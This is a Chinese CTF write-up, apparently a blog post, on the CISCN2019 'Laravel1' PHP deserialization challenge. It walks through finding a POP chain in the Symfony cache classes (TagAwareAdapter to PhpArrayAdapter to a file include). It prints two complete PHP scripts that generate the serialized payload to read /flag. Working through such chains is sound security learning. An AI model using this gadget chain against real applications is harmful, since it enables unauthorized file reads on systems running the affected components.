[CISCN2019 总决赛 Day1 Web4]Laravel1-PHP代码审计学习

[CISCN2019 总决赛 Day1 Web4]Laravel1-PHP代码审计学习
在这里插入图片描述
题目就是简单的几行代码,看到了反序列化函数,还提示了有源代码,那就说明得审代码找POP链咯
在这里插入图片描述
源码下了文件还挺多的,这会就有点懵逼了,文件这么多一个一个的找得找到猴年马月啊。
无奈之下上网翻一翻网上审Laravel的文章,发现了可以先全局搜索缩小范围(Sublimetext中是快捷键ctrl+shift+f),提高速率,我搜了下_destruct
在这里插入图片描述
找到了不少,双击就可以去到文件文件里面具体查看,接下来就是一个个去看有没有发现有用的吧
第一次审这么大的文件,东西太多太杂,没啥经验,没看出啥,只能找篇大佬的WP当当引路人
在这里插入图片描述

找到了个_destruct()调用了commit(),commit()又调用了invalidatetags()

在这里插入图片描述

整段代码中没啥可以直接利用的函数,像什么eval,file_get_content()这种可直接利用的是肯定没有的

要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量
可以看到下面这段代码

foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

现在我们需要找到任意一个实现了saveDeferred方法的类
在这里插入图片描述
能用来利用的只能找到一个:PhpArrayAdapter类
我们看一下这个类中的saveDeffer方法
在这里插入图片描述
initialize()这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait
在这里插入图片描述
看一下trait这个关键词的用法

trait这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便

我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系
在这里插入图片描述
回到正题
在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:

在这里插入图片描述
我们可以在PhpArrayAdapter中定义好$this->file这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了

构造一下POP链

TagAwareAdapter.php->_destruct()->commit()->invalidateTags(array $tags)->$this->pool->saveDeferred($item)
PhpArrayAdapter.php->saveDeferred(CacheItemInterface $item)->initialize()
PhpArrayTrait.php->initialize()

下面这个是大佬文章里的,直接copy过来了,也成功拿到了flag

namespace Symfony\Component\Cache{

    use Symfony\Component\Cache\Adapter\ProxyAdapter;

    final class CacheItem{
        protected $key;
        protected $value;
        protected $isHit = false;
        protected $expiry;
        protected $defaultLifetime;
        protected $metadata = [];
        protected $newMetadata = [];
        protected $innerItem;
        protected $poolHash;
        protected $isTaggable = false;
        public function __construct()
        {
            $this->expiry = 'sjdjfkas';
            $this->poolHash = '123';
            $this->key = '';
        }
    }
}
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/flag';
        }
    }

    class ProxyAdapter{
        private $namespace;
        private $namespaceLen;
        private $createCacheItem;
        private $setInnerItem;
        private $poolHash;
        private $pool;
        public function __construct()
        {
            $this->pool = new ChainAdapter();
            $this->createCacheItem = 'call_user_func';
            $this->namespace = 'phpinfo';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

成功获得flag
在这里插入图片描述
不过还是有些小问题还需要自己动手才能明白,于是自己又试着整了一下,其他参数应该上面都有说,就正常赋值就行
在这里插入图片描述
但是这里这个传参CacheItemInterface $item我就不是很明白了,这到底是个什么类型的参数,CacheItemInterface没找到这个类,搜了下interface是面向对象编程语言中接口操作的关键字,去掉interface后就剩下CacheItem了,根再据大佬写的WP,就找到了个CacheItem(我自己因为没咋做过开发所以这里不是很了解,还需要继续学习)
在这里插入图片描述
现在按上面确定好的POP链写脚本
在这里插入图片描述
不过这样运行会报错,CacheItem类没加进去,它找不到,所以再把CacheItem.php的一部分加进去就行了

<?php

namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/flag';
        }
    }

    
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace Symfony\Component\Cache{

use Psr\Log\LoggerInterface;
use Symfony\Component\Cache\Exception\InvalidArgumentException;
use Symfony\Component\Cache\Exception\LogicException;
use Symfony\Contracts\Cache\ItemInterface;

class CacheItem 
{
    
    protected $key;
    protected $value;
    protected $isHit = false;
    protected $expiry;
    protected $defaultLifetime;
    protected $metadata = [];
    protected $newMetadata = [];
    protected $innerItem;
    protected $poolHash;
    protected $isTaggable = false;

}
}
namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

总结
第一次做这种文件这么多的代码审计,一开始看的头晕,但发现了全局搜索这个功能,可以提高我们代码审计的速度,注意找到重点就行。在寻找利用点构造POP链时,不一定要执着于寻找该类的直接可利用函数,注意this->xxx这种。最后,在构造POP链时,就按照自己设计好的路线,把代码赋值好整合到一起去就行。

参考文章
https://xz.aliyun.com/t/5816#toc-3

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值